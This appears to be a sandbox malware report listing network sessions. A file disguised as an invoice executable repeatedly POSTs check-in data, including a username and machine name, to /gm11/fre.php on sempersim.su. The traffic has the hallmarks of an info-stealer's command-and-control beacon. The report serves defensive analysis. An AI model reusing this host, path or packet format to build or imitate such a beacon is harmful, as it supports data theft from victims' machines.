Nov 30, 2022 00:55:34.401350975 CET	186	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:34.458682060 CET	186	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:36.086250067 CET	186	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:38 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.3	49745	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:36.377571106 CET	187	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:36.442002058 CET	187	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:37.973570108 CET	188	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:40 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.3	49746	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:38.275173903 CET	189	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:38.333534956 CET	189	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:39.906968117 CET	189	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:42 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.3	49747	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:40.214632988 CET	190	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:40.271949053 CET	191	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:41.771804094 CET	191	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:44 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.3	49748	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:42.098366976 CET	192	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:42.166110039 CET	192	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:43.661912918 CET	192	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:46 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49704	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:18.966131926 CET	128	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:19.031228065 CET	128	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:19.714504957 CET	129	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:23 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.3	49749	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:43.976237059 CET	193	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:44.034007072 CET	193	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:45.483573914 CET	194	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:48 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.3	49750	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:45.758418083 CET	194	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:45.815349102 CET	195	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:46.963833094 CET	195	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:49 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.3	49751	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:47.279515028 CET	196	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:47.352607965 CET	196	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:49.068855047 CET	196	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:51 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.3	49752	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:49.378987074 CET	197	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:49.446521044 CET	198	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:50.930381060 CET	198	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:53 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.3	49753	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:51.242717028 CET	199	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:51.299818039 CET	199	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:52.887247086 CET	199	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:55 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.3	49754	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:53.496269941 CET	200	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:53.554918051 CET	200	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:55.161061049 CET	201	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:57 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.3	49755	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:55.653974056 CET	201	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:55.717783928 CET	202	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:57.270721912 CET	202	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:59 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.3	49756	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:57.533679962 CET	203	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:57.599260092 CET	203	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:58.723098993 CET	203	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:56:01 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.3	49757	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:55:58.948900938 CET	204	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:55:59.005871058 CET	205	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:55:59.773200035 CET	205	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:56:03 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.3	49758	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:56:00.034214020 CET	206	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:56:00.097791910 CET	206	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:56:00.797030926 CET	206	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:56:04 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49705	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:20.168790102 CET	130	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:20.232693911 CET	130	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:21.783216000 CET	130	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:24 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.3	49759	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:56:01.042443991 CET	207	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:56:01.099145889 CET	207	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:56:01.793951035 CET	208	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:56:05 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49706	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:22.484255075 CET	131	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:22.548185110 CET	131	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:24.053488970 CET	132	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:26 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49707	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:24.716723919 CET	132	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:24.781121969 CET	133	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:26.372322083 CET	133	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:28 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49708	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:26.803652048 CET	134	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:26.868957043 CET	134	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
